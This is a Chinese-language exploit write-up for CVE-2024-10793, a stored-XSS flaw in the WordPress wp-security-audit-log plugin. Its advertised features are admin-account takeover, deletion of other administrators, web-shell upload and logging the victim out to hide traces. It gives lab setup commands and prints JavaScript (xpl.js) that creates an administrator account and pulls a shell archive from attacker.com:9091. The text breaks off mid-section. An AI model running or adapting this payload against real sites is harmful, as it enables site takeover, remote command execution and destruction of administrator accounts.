CVE-2024-10793-WordPress插件权限提升漏洞实战解析
作者:互联网
2026-03-24
CVE-2024-10793: WordPress插件权限提升漏洞利用演示
本文详细解析CVE-2024-10793高危漏洞,该漏洞影响wp-security-audit-log插件5.2.1及以下版本,攻击者可借此执行任意代码并完全控制WordPress站点。
功能特性
- 账户接管与创建特权用户:利用漏洞,在目标站点上自动创建一个新的管理员账户(默认:
amin@attacker.com/amin/123456)。 - 修改管理员资料:具备修改当前管理员邮箱、密码等资料的能力。
- 批量删除管理员:可以删除除攻击者之外的所有管理员账户。
- Web Shell上传:在目标服务器的
/wp-content/plugins/sogrid/目录下上传并执行Web Shell(shell.php),提供远程命令执行能力。 - 受害者登出:攻击完成后,将受害者从WordPress中登出,以隐藏攻击痕迹。
安装指南
环境要求
- Docker 和 Docker Compose
- PHP(用于启动攻击者服务器)
- 目标WordPress站点需安装
wp-security-audit-log插件(版本 ≤ 5.2.1)
快速开始
-
配置本地Hosts文件 将以下两行添加到你的
hosts文件中,以模拟目标站点和攻击者服务器:127.0.0.1 goodcms.lab 127.0.0.1 attacker.com -
启动WordPress目标环境 使用提供的Docker Compose文件启动一个包含WordPress及漏洞插件的测试环境:
sudo systemctl start docker sudo docker-compose up -d -
安装WordPress 打开浏览器访问
,按照WordPress安装向导完成安装。之后,在WordPress后台安装并激活wp-security-audit-log插件(版本需为5.2.1或更早)。 -
启动攻击者服务器 在包含项目代码的目录下,启动一个PHP服务器来托管攻击载荷:
php -S 0:9091 -t ./exploit -
发起攻击 将恶意链接
发送给已登录WordPress的管理员用户。一旦受害者访问该链接,攻击将自动执行。
使用说明
攻击演示
- 发起攻击:受害者(已登录WordPress的管理员)在浏览器中访问
。 - 攻击成功:页面会显示 "Your Burgur is here :D"。此时,攻击者服务器后台会记录XSS注入成功的信息。
- 验证结果:
- 账户接管:攻击者现在可以使用新创建的账户
amin/123456登录目标WordPress站点 ()。 - 执行系统命令:攻击者可以直接访问Web Shell
来在目标服务器上执行系统命令。
- 账户接管:攻击者现在可以使用新创建的账户
核心攻击流程分析
攻击的核心在于利用 admin-ajax.php 中的 destroy-sessions 动作存在的XSS漏洞,注入一个外部的JavaScript文件(xpl.js)。这个JS文件负责执行所有后续的恶意操作。
// 这是从 attacker.com:9091/xpl.js 加载的恶意脚本的核心逻辑
// 1. 创建新的管理员用户
fetch('/wp-admin/user-new.php')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const nonce = doc.getElementById('_wpnonce_create-user').value;
// 构造创建用户的POST请求,添加一个名为'amin'的管理员
return fetch('/wp-admin/user-new.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `action=createuser&_wpnonce_create-user=${nonce}&user_login=amin&email=amin@attacker.com&pass1=123456&pass2=123456&role=administrator`
});
})
// 2. 上传Web Shell
.then(() => fetch('http://attacker.com:9091/shell'))
.then(r => r.blob())
.then(zipBlob => {
// ... 此处省略解压和上传shell.php到 /wp-content/plugins/sogrid/ 的详细代码 ...
})
// 3. 删除其他管理员并登出当前用户
.then(() => {
// 获取所有用户并删除非'amin'的管理员
// 最后调用 wp-login.php?action=logout 登出受害者
});
核心代码
以下是攻击工具中负责核心利用逻辑的代码片段,展示了如何通过XSS进行账户创建和文件上传。
1. XSS 注入点触发 (index.php)
此代码段位于攻击者服务器根目录的index.php文件中。当
相关标签:
CVE-2024-10793 WordPress插件权限提升漏洞利用演示
相关推荐
